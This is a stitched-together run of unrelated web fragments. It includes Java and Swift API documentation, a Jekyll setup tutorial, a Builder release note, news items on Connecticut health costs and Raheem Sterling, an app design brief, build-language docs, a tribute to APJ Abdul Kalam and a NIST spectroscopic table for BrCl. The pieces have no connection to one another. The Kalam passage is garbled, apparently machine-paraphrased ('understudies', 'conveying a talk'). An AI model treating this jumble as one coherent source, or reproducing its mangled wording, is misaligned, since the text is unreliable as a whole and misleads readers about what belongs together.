java.util.Set<java.lang.String> xmlBreakElementsToDiscard,
WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak,
SequencePattern<? super IN> sentenceBoundaryMultiTokenPattern,
java.util.Set<java.lang.String> tokenRegexesToDiscard)
Flexibly set the set of acceptable sentence boundary tokens, but with
a default set of allowed boundary following tokens.
|
WordToSentenceProcessor(WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak)
Create a
WordToSentenceProcessor using a sensible default
list of tokens for sentence ending for English/Latin writing systems. |
| Modifier and Type | Method and Description |
|---|---|
java.util.List<java.util.List<IN>> |
process(java.util.List<? extends IN> words)
Take a List (including a Sentence) of input, and return a
List that has been processed in some way.
|
<L,F> Document<L,F,java.util.List<IN>> |
processDocument(Document<L,F,IN> in) |
static WordToSentenceProcessor.NewlineIsSentenceBreak |
stringToNewlineIsSentenceBreak(java.lang.String name) |
java.util.List<java.util.List<IN>> |
wordsToSentences(java.util.List<? extends IN> words)
Returns a List of Lists where each element is built from a run
of Words in the input Document.
|
public static final java.lang.String DEFAULT_BOUNDARY_REGEX
public static final java.util.Set<java.lang.String> DEFAULT_BOUNDARY_FOLLOWERS
public static final java.util.Set<java.lang.String> DEFAULT_SENTENCE_BOUNDARIES_TO_DISCARD
public WordToSentenceProcessor()
WordToSentenceProcessor
using a sensible default
list of tokens for sentence ending for English/Latin writing systems.
The default set is: {".","?","!"} and
any combination of ! or ?, as in !!!?!?!?!!!?!!?!!!.
A sequence of two or more consecutive line breaks is taken as a paragraph break
which also splits sentences. This is the usual constructor for sentence
breaking reasonable text, which uses hard-line breaking, so two
blank lines indicate a paragraph break.public WordToSentenceProcessor(WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak)
WordToSentenceProcessor
using a sensible default
list of tokens for sentence ending for English/Latin writing systems.
The default set is: {".","?","!"} and
any combination of ! or ?, as in !!!?!?!?!!!?!!?!!!.
You can specify the treatment of newlines as sentence breaks as one
of ignored, every newline is a sentence break, or only two or more
consecutive newlines are a sentence break.newlineIsSentenceBreak
- Strategy for treating newlines as
paragraph breaks.public WordToSentenceProcessor(boolean isOneSentence)
WordToSentenceProcessor
which never breaks the input
into multiple sentences. If the argument is true, the input stream
is always output as one sentence. (If it is false, this is
equivalent to the no argument constructor, so why use this?)isOneSentence
- Marker argument: true means to treat input
as one sentencepublic WordToSentenceProcessor(java.lang.String boundaryTokenRegex, java.util.Set<java.lang.String> boundaryToDiscard, java.util.Set<java.lang.String> xmlBreakElementsToDiscard, WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak)
boundaryTokenRegex
- The set of boundary tokens. If null, use default.boundaryToDiscard
- The set of regex for sentence boundary tokens that should be discarded.
If null, use default.xmlBreakElementsToDiscard
- xml element names like "p", which will be recognized,
treated as sentence ends, and discarded.
If null, use none.newlineIsSentenceBreak
- Strategy for counting line ends (boundaryToDiscard) as sentence ends.public WordToSentenceProcessor(java.lang.String boundaryTokenRegex, java.util.Set<java.lang.String> boundaryToDiscard, java.util.Set<java.lang.String> xmlBreakElementsToDiscard, WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak, SequencePattern<? super IN> sentenceBoundaryMultiTokenPattern, java.util.Set<java.lang.String> tokenRegexesToDiscard)
boundaryTokenRegex
- The set of boundary tokens. If null, use default.boundaryToDiscard
- The set of regex for sentence boundary tokens that should be discarded.
If null, use default.xmlBreakElementsToDiscard
- xml element names like "p", which will be recognized,
treated as sentence ends, and discarded.
If null, use none.newlineIsSentenceBreak
- Strategy for counting line ends (boundaryToDiscard) as sentence ends.public WordToSentenceProcessor(java.util.Set<java.lang.String> boundaryToDiscard)
boundaryToDiscard
- A Set of String that will be matched
with .equals() and will mark an
end of sentence and be discarded.public WordToSentenceProcessor(java.lang.String boundaryTokenRegex, java.util.Set<java.lang.String> boundaryFollowers, java.util.Set<java.lang.String> boundariesToDiscard, java.util.Set<java.lang.String> xmlBreakElementsToDiscard, java.lang.String regionElementRegex, WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak, SequencePattern<? super IN> sentenceBoundaryMultiTokenPattern, java.util.Set<java.lang.String> tokenRegexesToDiscard, boolean isOneSentence, boolean allowEmptySentences)
boundaryTokenRegex
- Tokens that match this regex will end a
sentence, but are retained at the end of
the sentence.boundaryFollowers
- This is a Set of String that are matched with
.equals() which are allowed to be tacked onto
the end of a sentence after a sentence boundary
token, for example ")".boundariesToDiscard
- This is normally used for newline tokens if
they are included in the tokenization. They
may end the sentence (depending on the setting
of newlineIsSentenceBreak), but at any rate
are deleted from sentences in the output.xmlBreakElementsToDiscard
- These are elements like "p" or "sent",
which will be wrapped into regex for
approximate XML matching. They will be
deleted in the output, and will always
trigger a sentence boundary.public static WordToSentenceProcessor.NewlineIsSentenceBreak stringToNewlineIsSentenceBreak(java.lang.String name)
public java.util.List<java.util.List<IN>> process(java.util.List<? extends IN> words)
ListProcessor
process
in interface ListProcessor<IN,java.util.List<IN>>
public java.util.List<java.util.List<IN>> wordsToSentences(java.util.List<? extends IN> words)
PTBTokenizer
).words
- A list of already tokenized words (must implement HasWord or be a String).WordToSentenceProcessor(String, Set, Set, Set, String, NewlineIsSentenceBreak, SequencePattern, Set, boolean, boolean)


Welcome
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The static website uses Trusted types + Dompurify, Custom filter and CSP. so i don't have to worry about dangerous inputs. You can report vulnerablities
here
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Etorrent v1.2.0
Current Torrents
Latest log messages
Etorrent — How many goats did you teleport today?


Lawmakers to hold forum on reducing high health care costs
by EndPlayHARTFORD, Conn. (AP) - Connecticut lawmakers want to explore ways to reduce health care costs, including efforts taken by neighboring Massachusetts.
The General Assembly's Insurance and Real Estate Committee plans to hold an informational forum on Thursday at the Legislative Office Building.
They're expected to discuss three major policy concepts, including a possible state-funded reinsurance program, prescription drug importation and the benchmarking of health care costs to a statewide target, similar to a Massachusetts initiative.
Besides the committee members, the Office of Health Strategy, health care advocates, health insurers, the Massachusetts Health Policy Commission, and other stakeholders are expected to participate in a series of panel discussions.
Connecticut lawmakers say they hope the high cost of health care will be addressed in the new regular legislative session, which begins in February.


Raheem Sterling described as "big leader" by England team-mate Callum Hudson-Odoi
Sterling won't play any part in England's game against Montenegro on Thursday after being dropped following an altercation with Liverpool defender Joe Gomez
by Andy Dunn, https://www.mirror.co.uk/authors/andy-dunn/Callum Hudson-Odoi has described Raheem Sterling as a ‘big leader’ in the England squad.
And the Chelsea star believes Sterling is a role model with both club and country.
Hudson-Odoi stuck to the party line, insisting the squad had talked about the Sterling-Gomez situation and were happy moving on to the game against Montenegro on Thursday night.
But he was keen to emphasise just how important Sterling is to the young players in this England squad.
Hudson-Odoi said: “Raheem is like an idol to me … what he’s doing for club and country is an amazing thing which I will try to replicate myself.
“It is an amazing feeling to have someone like him doing what he’s doing and being around you every time. I want to keep learning off what he does.
“He’s very encouraging, very positive about everything he does. He’s a big leader in the team.
“When someone like that has a big say on racism, it is a big feeling for all of us. He is sticking up for everyone who is involved in the game. It is a great feeling to know he’s going to do that.”
Hudson-Odoi was less forthcoming when asked about Gareth Southgate’s decision to drop Sterling for his altercation with Joe Gomez.
“What’s happened, happened,” said Hudson-Odoi. “It is a situation where we have dealt with it as a team. We have moved on.
“We have had a little talk with each other and made sure everything is OK.
“We just want to move on as a team and focus on the game.”
England require only a point from their two games against Montenegro and Kosovo to secure qualification for next summer's Euro 2020.


{#-
This file was automatically generated - do not edit
-#}
{% if config.extra.breadcrumbs and page and page.ancestors and page.ancestors|length > 1 %}
{% for doc in page.ancestors | reverse %}
{% if doc.children and doc.children[0].is_index and doc.children[0].url%}


!= include('css'); ?>
Contact Us
We are here to answer any question you have !
If you don't see the contact form please contact at this address<EMAIL_ADDRESS>.
Thank you !
Address Mail :
Subject :
Message :
Send
Sent Succesfully !
Thank You For Getting In Touch !
We appreciate you contacting us. One of our colleagues will get back to you shortly.
Have a great day !
!= include('js'); ?>


Here are some resources I have put together to get you started on your web development path.
I recommend starting with Codecademy. Codecademy does a fantastic job of introducing you HTML, CSS, JavaScript and more
W3Schools is similar to Codecademy in many ways. There are free and paid courses, and an interactive environment you can play with code in the browser.
The Official Mozilla Web Docs from the Mozilla Developer Network (MDN)
Downloadable high quality documents from GoalKicker.
Check out the developers roadmap. A continuously updated guide showing the technologies involved to become a Full Stack Developer.


Dashboard
Heatmap Charts
Basic Heatmap - Single Series
Heatmap - Multiple series
Heatmap - Labels included
Heatmap - Color range


Builder 2.1.1 Released.
Release 2.1.1 of Builder is mainly a bug fix release.
Changes in 2.1.1
- Added reveal capability to BlankSlate.
- Fixed a bug in BlankSlate where including a module into Object could cause methods to leak into BlankSlate.
- Fixed typo in XmlMarkup class docs (from Martin Fowler).
- Fixed test on private methods to differentiate between targetted and untargetted private methods.
- Removed legacy capture of @self in XmlBase (@self was used back when we used instance eval).
- Added additional tests for global functions (both direct and included).
- Several misc internal cleanups, including rearranging the source code tree.
NOTE: The escaping attribute values by default is different than in previous releases of Builder. This makes version 2.0.x somewhat incompatible with the 1.x series of Builder. If you use “&”, “<”, or “>” in attributes values, you may have to change your code. (Essentially you remove the manual escaping. The new way is easier, believe me).
What is Builder?
Builder::XmlMarkup is a library that allows easy programmatic creation of XML markup. For example:
builder = Builder::XmlMarkup.new(:target=>STDOUT, :indent=>2) builder.person { |b| b.name("Jim"); b.phone("555-1234") }
will generate:
<person> <name>Jim</name> <phone>555-1234</phone> </person>
Availability
The easiest way to get and install builder is via RubyGems …
gem install builder (you may need root/admin privileges)
Thanks
- Martin Fowler for spotting some typos in the documentation.
— Jim Weirich


In this tutorial I will teach you how to test your Jekyll Bootstrap3 site locally.
Jekyll is a parsing engine bundled as a ruby gem used to build static websites from dynamic components such as templates, partials, liquid code, markdown, etc. Jekyll is known as “a simple, blog aware, static site generator”.
To test your site locally, you’ll need
There are lots of different ways to install ruby.
In Mac OS X, older versions of ruby will already be installed. But I use the Ruby Version Manager (RVM) to have a more recent version. You could also use Homebrew.
In Windows, use RubyInstaller. (In most of this tutorial, I’ve assumed you’re using a Mac or some flavor of Unix. It’s possible that none of this was usable for Windows folks. Sorry!)
Run the following command:
gem install github-pages
This will install the github-pages
gem and all dependencies
(including jekyll).
Later, to update the gem, type:
gem update github-pages
To construct and test your site locally, go into the directory and type
jekyll build
This will create (or modify) a _site/
directory, containing
everything from assets/
, and then the index.md
and all
pages/*.md
files, converted to html. (So there’ll be
_site/index.html
and the various _site/pages/*.html
.)
Type the following in order to “serve” the site.
This will first run build
, and so it does not need to be
preceded by jekyll build
.
jekyll serve
To make jekyll automatically re-build your changes you can also add the --watch
option:
jekyll serve --watch
Now open your browser and go to http://localhost:4000.
Read the complete tutorial on http://jekyllrb.com/docs/usage/.
![Lost in space](/assets/img/big/lost_in_404_space.jpg){: .image-fluid }
![Lost in space with description](/assets/img/big/universe1.jpg "Description of lost in space image"){: .image-fluid }
| In markdown you can quikly use tables to align your images in right way, remember to style as you like the CSS of your table to have a amazing results. Use to size your pics in right way for best results. |
| In markdown you can quikly use tables to align your images in right way, remember to style as you like the CSS of your table to have a amazing results. Use to size your pics in right way for best results. | ![Lost in space with description](/assets/img/big/universe2.jpg "Description of lost in space image"){: .image-fluid } |
| I am text to the right I am text to the right I am text to the right I am text to the right |
| ![Lost in space with description](/assets/img/big/universe3.jpg "Description of lost in space image"){: .image-fluid } | I am text to the right I am text to the right I am text to the right I am text to the right |


Interaction between individuals is a basic human requirement. At some point in time, each individual has been seeking to interact with those with whom they share mutual interests, skills, or cultural background. For some this comes easy, but others find it difficult to approach people and establish a mutual relationship. Even ignoring the different kinds of personalities, the act of finding people itself can be difficult. Tag Along is for those who are new to a community and are seeking others who share similar passions or activities.
Our primary research led us to the following findings
The users we interviewed expressed difficulty in trying to make plans with others when each party had limited time available
People will always be faced with the uncertainty, anxiety, and concern that comes with the unknown, or in this case, a stranger with similar interests
The users exhibited a strong desire to meet people with common interests / skills as a potential learning opportunity
Through our secondary research, we found out that social anxiety is the main cause which inhibits people from meeting others. Feeling of shyness, fear of judgment and intimidation when meeting a group of people were common symptoms of social anxiety. There is no quick cure for social anxiety but it is a process of change, of breaking down each individual fear, and often starts with a meeting with people who share common interests, since it can feel the least intimidating.
The potential users of the system will be anyone who is new to a place/community or even the localities, but who are looking for someone who shares similar passions. Additionally, it would also work for anyone looking to socialize for recreational activity. This would encompass both, the young and the old.
The product that we seek to develop is an application designed to work on smartphones. Its main purpose will be to facilitate the creation and discovery of recreational events. It will provide the user an easy and quick way to set up a private profile that will be used to help inform them of events they may be interested in. This profile will not be public unless the user chooses for it to be public. At any time the user can check to see if there are any events scheduled to start in the near future that they would be interested in. Additionally, they can have the app set up to “buzz” when an event that matches their profile pops up. If they are interested in an event, they can choose to see more information on it, such as when it starts, and where it is located. The application also provides directions to get to the event and reminds the user when they need to leave, to reach the event on time. We didn’t want to make the system complicated by involving groups since that puts a lot of work onto one person, and the type of activities we envision for this product do not require large groups. Most will be 5 - 6 at the most, and many will only be 2 - 3. This app is mainly focused on promoting activities that require more individual attention and get together people who share similar curiosities.
Sign In & Sign Up Screen
Event Details & Notification Screens
Categories & Sub Level Games section
Create Event Form & Home screen
Andrew Lowery
Aziz Khilawala
Jack Phipps
Vishakha Kumari


FoodMobDataSource
public protocol FoodMobDataSource
Encapsulates the methods that a FoodMob data provider must include.
-
Logs in as an existing user.
Parameters:
- emailAddress: The email address for the user
- password: The password for the user.
- completion: When request is done, this block is called.
Declaration
Swift
func login(emailAddress: String, password: String, completion: ((User?)->())?)
Parameters
emailAddress
The email address for the user
password
The password for the user.
completion
When request is done, this block is called.
Return Value
A User object for the currently logged in user.
nil
is returned if the login failed. -
Logs the user out.
- Parameters:
- user: The user to log out.
Declaration
Swift
func logout(user: User, completion: ((Bool) -> ())?)
Parameters
user
The user to log out.
- Parameters:
-
Creates a new user on the server.
Parameters:
- firstName: User’s first name
- lastName: User’s last name
- emailAddress: User’s email address
- password: User’s password.
- completion: When request is done, this block is called
Declaration
Swift
func register(firstName firstName: String, lastName: String,
Parameters
firstName
User’s first name
lastName
User’s last name
emailAddress
User’s email address
password
User’s password.
completion
When request is done, this block is called
Return Value
The user object for the new user that is created.
-
Retrieve the list of categories for the user and store it in the user object.
- Parameters:
- user: The current user.
- completion: Completion block to be called with a success code.
Declaration
Swift
func fetchCategoriesForUser(user: User, completion: ((Bool)->())?)
Parameters
user
The current user.
completion
Completion block to be called with a success code.
- Parameters:
-
Push the user’s categories up to the server.
- Parameters:
- user: The current user.
Declaration
Swift
func updateCategoriesForUser(user: User)
Parameters
user
The current user.
- Parameters:
-
Perform a search given a restaruant search object.
Parameter
Parameter search: A restaurant search object.Parameter
Parameter completion: The completion handler for when the server respondsDeclaration
Swift
func fetchRestaurantsForSearch(search: RestaurantSearch, withUser user: User, completion: (([Restaurant]) -> ())?)
Parameters
search
A restaurant search object.
completion
The completion handler for when the server responds
-
fetchCategoryListing(_:)
Default implementationFetch the category listing from the server
Default Implementation
Category listing, hardcoded in the application
Declaration
Swift
func fetchCategoryListing(completion: (([String: FoodCategory]) -> ())?)
Parameters
completion
A map of yelp identifiers to food categories
-
Fetch the user’s friends
Declaration
Swift
func fetchFriendsListing(forUser user: User, completion: (([User])->())?)
Parameters
user
Current user
completion
A list of users, representing the current user’s friends
-
Add a friend by email address for the current user
Declaration
Swift
func addFriendWithEmail(emailAddress: String, forUser user: User, completion: ((Bool, String)->())?)
Parameters
emailAddress
Friend’s email address
user
Current user
completion
A success boolean and a string indicating the error if the boolean is false.
-
validatePassword(_:)
Extension methodValidates a user’s password.
Passwords must be greater than or equal to 8 characters in length.
A user password must contain at least three of the following: - Capital letters - Lowercase letters - Numbers - Symbols
Declaration
Swift
public func validatePassword(password: String) -> Bool
Parameters
password
The password that is being validated.
Return Value
Whether or not the password is valid.
-
validateName(_:)
Extension methodValidates a name. Names simply cannot be blank.
Declaration
Swift
public func validateName(name: String) -> Bool
Parameters
name
A user’s name.
Return Value
Whether or not a user’s name is blank.
-
validateEmailAddress(_:)
Extension methodValidates an email address.
Declaration
Swift
public func validateEmailAddress(emailAddress: String) -> Bool
Parameters
emailAddress
A candidate email address
Return Value
Whether the string really was an email address.


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Represents a factory for SQLServerXAConnection objects that is used internally.
Package: com.microsoft.sqlserver.jdbc
Extends: SQLServerConnectionPoolDataSource
Implements: javax.sql.XADataSource
Syntax
public class SQLServerXADataSource
Remarks
An object that implements the SQLServerXADataSource interface is typically registered with a naming service that uses the Java Naming and Directory Interface (JNDI).
The SQLServerXADataSource class provides database connections for use in distributed (XA) transactions. The SQLServerXADataSource class also supports connection pooling of physical connections. The SQLServerXADataSource and SQLServerXAConnection interfaces, which are defined in the package javax.sql, are implemented by SQL Server.
A SQLServerXAConnection object is a pooled connection that can participate in a distributed transaction. More precisely, SQLServerXAConnection extends the SQLServerPooledConnection interface by adding the method getXAResource. This method produces a SQLServerXAResource object that can be used by a transaction manager to coordinate the work done on this connection with the other participants in the distributed transaction. Because they extend the SQLServerPooledConnection interface, SQLServerXAConnection objects support all the methods of SQLServerPooledConnection objects. They are reusable physical connections to an underlying data source and produce logical connection handles that can be passed back to a JDBC application.
SQLServerXAConnection objects are produced by a SQLServerXADataSource object. SQLServerConnectionPoolDataSource objects and SQLServerXADataSource objects are similar because they are both implemented below a data source layer that is visible to the JDBC application. This architecture lets SQL Server support distributed transactions in a way that is transparent to the application. SQLServerXADataSource can be configured to integrate with Microsoft Distributed Transaction Coordinator (DTC) to provide true, distributed transaction processing.


NYCED is a non-for-profit 501C(3) organization and all donations are dedicated to our children and are tax deductible.
Donations are directly allocated to program activities and support services.
Many companies have programs through which they match charitable contributions made by their employees. Through corporate gift matching, your employer can multiply your gift to Children of Promise, NYC, broadening its impact.
Three easy steps to enroll: 1. Check with your company’s Human Resources Department to see if they offer gift matching. Obtain the form and complete the employee section. 2. Contact CPNYC for requested organizational information at<PHONE_NUMBER>. 3. Submit completed gift matching form to your HR Department. CPNYC will be notified of your submission.


Please's BUILD files typically contain a series of build rule declarations.
These are invocations of builtins like
java_binary
which create new BUILD targets.
However, you can do much more with it; it is a fully capable programming language with which it's possible to script the creation of build targets in elaborate ways. See below for a formal description of the grammar; it is a subset of Python so should be fairly familiar.
You can do most things that one might expect in such a language;
for
and if
statements,
define functions, create lists and dicts, etc. Conventionally we keep complex
logic in build_defs files but at present there is no difference in accepted
syntax between the two.
One obviously needs a mechanism to import new code; in Please that is subinclude. This function takes the output of a build rule elsewhere in the repo and makes it available in the context of the currently executing file - for example, if it has defined a function, that function is now available in your BUILD file at the top level.
See the built in rules & languages for a list of built in rules, as well as any extra rules from the pleasings repo.
The set of builtin types are again fairly familiar:
True
and
False
)
There are no floating-point numbers or class types. In some cases lists and dicts can be "frozen" to prohibit modification when they may be shared between files; that's done implicitly by the runtime when appropriate.
Dictionaries are somewhat restricted in function; they may only be keyed by
strings and cannot be iterated directly - i.e. one must use
keys()
, values()
or
items()
. The results of all these functions are
always consistently ordered.
They support
PEP-584
style unions (although not the |= form).
The build language has a rich set of builtin functions that largely resemble those provided by python. In addition to these, there are some additional built in functions specific to the Please domain. See the built in functions documentation for more information.
We normally write BUILD files in an idiom which doesn't quite match standard Python styles. The justification is that these are mostly just inherited from working on Blaze, but a brief explanation follows after an example:
# Taken from //src/core/BUILD in the Please repo
go_library(
name = "core",
srcs = glob(["*.go"], exclude=["*_test.go", "version.go"]) + [":version"],
visibility = ["PUBLIC"],
deps = [
"//third_party/go:gcfg",
"//third_party/go:logging",
"//third_party/go:queue",
]
)
All arguments to build rules are passed as keywords. This is pretty important since (1) nobody will be able to read your BUILD file otherwise and (2) we don't guarantee not to change the order of arguments when we insert new ones. Fortunately Please will check this for you at runtime.
Arguments to functions like glob()
and
subinclude()
are not necessarily passed as
keywords.
We put spaces around the =
for each argument to
the build rule - we think it's easier to read this way.
Either single or double quotes work, as usual, but don't mix both in one file. We usually prefer double because that's what Buildifier (see below) prefers.
Lists either go all on one line:
["*_test.go", "version.go"]
or are broken across multiple lines like so:
[
"//third_party/go:gcfg",
"//third_party/go:logging",
"//third_party/go:queue",
]
Indentation is normally four spaces. Tabs will be rejected by the parser.
Dealing with indentation in a whitespace-significant language is tricky
enough without introducing tabs to complicate the situation as well.
We generally try to order lists lexicographically where it does not matter
(for example deps
or
visibility
).
If you'd like an autoformatter for BUILD files, Google's Buildifier is very good & fast. We use it both internally & on the Please repo.
The grammar is defined as (more or less) the following in EBNF, where
Ident
, String
,
Int
and EOL
are token
types emitted by the lexer.
{{ .Grammar }}
As mentioned above, this is similar to Python but lacks the
import
, try
,
except
, finally
,
class
, global
,
nonlocal
, while
and
async
keywords. The implementation disallows using
these as identifiers nonetheless since some tools might attempt to operate
on the file using Python's ast
module for
convenience, which would not be possible if those keywords are used.
As a result, while raise
and
assert
are supported, it's not
possible to catch and handle the resulting exceptions. These hence function
only to signal an error condition which results in immediate termination.
Note that assert
is never optimised out, as it can
be in Python.
A more limited set of operators than in Python are available. The provided set are considered sufficient for use in BUILD files.
Function annotations similar to
PEP-3107
/
PEP-484
are available, although they have first-class meaning as type hints. The
arguments are annotated with the expected type or types (separated by
|
) and when called the type of the argument will
be verified to match. This makes it easier to give useful feedback to users
if they make mistakes in their BUILD files (e.g. passing a string where a
list is required).
User-defined varargs and kwargs functions are not supported.
PEP-498 style "f-string" interpolation is available, but it is deliberately much more limited than in Python; it can only interpolate variable names rather than arbitrary expressions.


Thelia\Core\Template\Smarty\Plugins
Classes
This class implements variour admin template utilities
Class CartPostage
Implementation of data access to main Thelia objects (users, cart, etc.)
Class Esi
Created by JetBrains PhpStorm.
Plugin for smarty defining blocks and functions for using Form display.
formatdate and formatdate smarty function.
Class TheliaSyntax


Creative Web Development
Jael Johnson
Bash Me
this projects description should be her
Commitment
Exquisite Corpse
Parallax
VR Game
GitHub
Analytics Report
Key Analytics


When you hire Duck Labs, you get a product development team with 20+ years of deep design and engineering expertise. But more than that, you get a cross-functional team with strategic & design-thinking, communication, collaboration and management skills.
Why does that matter?
It matters because the right team – a team with our kinds of skills – will be your very own industrial-strength force multiplier.
We use rounds of rapid experimentation to gather feedback and gain insights
Build the right thing. The first time.
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Missile Man Of India
On his fifth passing commemoration today, Etawah Diaries recalled Dr APJ Abdul Kalam, prevalently known as the Missile Man of India. He was an extraordinary compassionate and a visionary who filled in as the eleventh President of India from 2002 to 2007, showed understudies and accomplished achievements as a researcher. Dr Kalam died on July 27, 2015, while conveying a talk to understudies at the Indian Institute of Management, Shillong. In any case, he is still affectionately recalled by the residents of India as a wellspring of motivation. In his words, "You have to dream before your dreams can come true."
Abdul Kalam will remain one of the finest human beings to have ever lived. He lived an illustrious and successful life, and his legacy will continue to inspire people around the world in the coming years. Below is a list that tries to do justice to his numerous achievements:


CSS Objects Series
For basics do visit
here
.
Objects made with css:
Apple Logo
,
Audi Logo
____________________
____________________
____________________
Facebook Logo (white background)
,
Facebook Logo (with background)
Github Logo
____________________
____________________
____________________
Keep Logo (Google Keep)
Suggest some objects, to me or contribute some
here
.


pitch of the note to get the details from
Encoded as MIDI pitch note at the 3rd line (G clef -> B = 71)
Encoded as semitones (0 = C, 1 = C#, ... 11 = B)
An object where vSteps:
is the note height in the staff,
accidental:
is the accidental to be drawn if it were applied C key and
keyAccidental:
is the accidental forced by current key, if any
Generated using TypeDoc
Gets the note details from pitch value according overall staff context


BEHAVIOUR
Most Owls are active at dusk and dawn, spending the daytime at a quiet, inconspicuous roost. They can be found roosting singly or in pairs or family groups, but may form flocks outside of the breeding season (A group of Owls is called a parliament).


|
Standard Reference Data Program |
Data Gateway |
Chemistry WebBook |
|
Go To: Top, Constants of diatomic molecules, References, Notes / Error Report
Data compilation copyright by the U.S. Secretary of Commerce on behalf of the U.S.A. All rights reserved.
Data compiled as indicated in comments:
LBLHLM - S.G. Lias, J.E. Bartmess, J.F. Liebman, J.L. Holmes, R.D. Levin, and W.G. Mallard
RDSH - H.M. Rosenstock, K. Draxl, B.W. Steiner, and J.T. Herron
| IE (eV) | Method | Reference | Comment |
|---|---|---|---|
| 11.1 ± 0.2 | EI | Irsa and Friedman, 1958 | RDSH |
| 11.01 | PE | Dyke, Josland, et al., 1984 | Vertical value; LBLHLM |
Go To: Top, Gas phase ion energetics data, References, Notes / Error Report
Data compilation copyright by the U.S. Secretary of Commerce on behalf of the U.S.A. All rights reserved.
Data compiled by: K.P. Huber and G. Herzberg
| State | Te | ωe | ωexe | ωeye | Be | αe | γe | De | βe | re | Trans. | ν00 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Additional absorption bands above 65000 cm-1; no analysis. | ||||||||||||
| missing citation; missing citation | ||||||||||||
| Six continuous emission bands between 27800 and 39200 cm-1. | ||||||||||||
| Haranath and Rao, 1957 | ||||||||||||
| D | 61570 | [504] 1 H | D ↔ X V | 61600 H | ||||||||
| missing citation; Haranath and Rao, 1957 | ||||||||||||
| C | 59325 | 519 1 H | 2.9 | C ↔ X V | 59362 H | |||||||
| missing citation; Haranath and Rao, 1957 | ||||||||||||
| State | Te | ωe | ωexe | ωeye | Be | αe | γe | De | βe | re | Trans. | ν00 |
| B 3Π0+ | 16879.91 2 | 222.68 2 | 2.884 2 | 0.107704 3 4 | (1.01E-7) | 2.5415 | B ↔ X R | 16735.9 5 | ||||
| missing citation; Coxon, 1974; Hadley, Bina, et al., 1974; Wight, Ault, et al., 1975 | ||||||||||||
| A 3Π1 6 | A ← X R | |||||||||||
| Coxon, 1974 | ||||||||||||
| X 1Σ+ | 0 | 444.276 Z | 1.843 7 | -0.004 | 0.1524695 4 | 7.697E-4 7 | -2.6E-6 | 7.183E-8 8 | 3.5E-10 | 2.136065 9 | ||
| Mattraw, Pachucki, et al., 1954; Brooks and Crawford, 1955; Clyne and Coxon, 1967 | ||||||||||||
| Raman sp. 10 | ||||||||||||
| Holzer, Murphy, et al., 1970 | ||||||||||||
| Microwave sp. 11 | ||||||||||||
| Smith, Tidwell, et al., 1950 |
| 1 | Normal isotopic mixture. |
| 2 | Deperturbed constants Coxon, 1974 allowing for the perturbation by the intersecting 0+ state arising from normal atoms (interaction matrix element ~ 360 cm-1), ωeye = -0.0673. The observed vibrational levels Coxon, 1974 are pushed down from their calculated positions by shifts ranging from 42 (for v=2) to 135 (for v=8) cm-1. |
| 3 | Deperturbed value Coxon, 1974; αe not given. Experimental Bv, Dv, Hv values for 2≤v≤8 in Coxon, 1974. |
| 4 | RKR potential curve Coxon, 1974. |
| 5 | Extrapolated from the lowest observed level (v'=2); see Coxon, 1974. Clyne and Coxon, 1967 give 16695 cm-1 based on low-dispersion spectra. |
| 6 | Several bands of this system observed but not analysed. |
| 7 | missing note |
| 8 | He= -1.53E-14. |
| 9 | Infrared sp. 15 |
| 10 | See also Wallart, 1972 [liquid BrCl] and Wight, Ault, et al., 1975 [BrCl in rare gas matrices]. |
| 11 | μel ~0.57 D and values of eqQ(35,37Cl, 79,81Br). |
| 12 | From the heats of formation of BrCl and Br2 Stull and Prophet, 1971 and the dissociation energies of Br2 and Cl2. |
| 13 | Electron impact appearance potential Irsa and Friedman, 1958. |
| 14 | Franck-Condon factors Coxon, 1974. |
| 15 | Integrated absorption coefficients, dipole moment derivative Brooks and Crawford, 1955. |
Go To: Top, Gas phase ion energetics data, Constants of diatomic molecules, Notes / Error Report
Data compilation copyright by the U.S. Secretary of Commerce on behalf of the U.S.A. All rights reserved.
Irsa and Friedman, 1958
Irsa, A.P.; Friedman, L.,
Mass spectra of halogen fluorides,
J. Inorg. Nucl. Chem., 1958, 6, 77. [all data]
Dyke, Josland, et al., 1984
Dyke, J.M.; Josland, G.D.; Snijders, J.G.; Boerrigter, P.M.,
Ionization energies of the diatomic halogens and interhalogens studied with relativistic hartree-fock-slater calculations,
Chem. Phys., 1984, 91, 419. [all data]
Haranath and Rao, 1957
Haranath, P.B.V.; Rao, P.T.,
Emission spectra of mixed halogens. Part II: IBr and BrCl,
Indian J. Phys., 1957, 31, 368. [all data]
Coxon, 1974
Coxon, J.A.,
Rotational vibrational analysis of the B3Π(O+)-X1Σ+ band system of 79Br35Cl and 81Br35Cl,
J. Mol. Spectrosc., 1974, 50, 142. [all data]
Hadley, Bina, et al., 1974
Hadley, S.G.; Bina, M.J.; Brabson, G.D.,
The a3ΠO+ → X1Σ+ system of bromine chloride,
J. Phys. Chem., 1974, 78, 1833. [all data]
Wight, Ault, et al., 1975
Wight, C.A.; Ault, B.S.; Andrews, L.,
Laser-induced fluorescence and resonance Raman spectra of interhalogen diatomics isolated in inert matrices at 12 K,
J. Mol. Spectrosc., 1975, 56, 239. [all data]
Mattraw, Pachucki, et al., 1954
Mattraw, H.C.; Pachucki, C.F.; Hawkins, N.J.,
Equilibrium constant, infrared spectrum, and thermodynamic properties of bromine chloride,
J. Chem. Phys., 1954, 22, 1117. [all data]
Brooks and Crawford, 1955
Brooks, W.V.F.; Crawford, B., Jr.,
Vibrational intensities. V. BrCl and ICl,
J. Chem. Phys., 1955, 23, 363. [all data]
Clyne and Coxon, 1967
Clyne, M.A.A.; Coxon, J.A.,
The formation and detection of some low-lying excited electronic states of BrCl and other halogens,
Proc. R. Soc. London A, 1967, 298, 424. [all data]
Holzer, Murphy, et al., 1970
Holzer, W.; Murphy, W.F.; Bernstein, H.J.,
Resonance Raman effect and resonance fluoroscence in halogen gases,
J. Chem. Phys., 1970, 52, 399. [all data]
Smith, Tidwell, et al., 1950
Smith, D.F.; Tidwell, M.; Williams, D.V.P.,
The microwave spectrum of BrCl,
Phys. Rev., 1950, 79, 1007. [all data]
Wallart, 1972
Wallart, F.,
Study of vibrational hot bands by Raman spectroscopy - application to chlorine and bromine chloride,
Can. J. Spectrosc., 1972, 17, 128. [all data]
Stull and Prophet, 1971
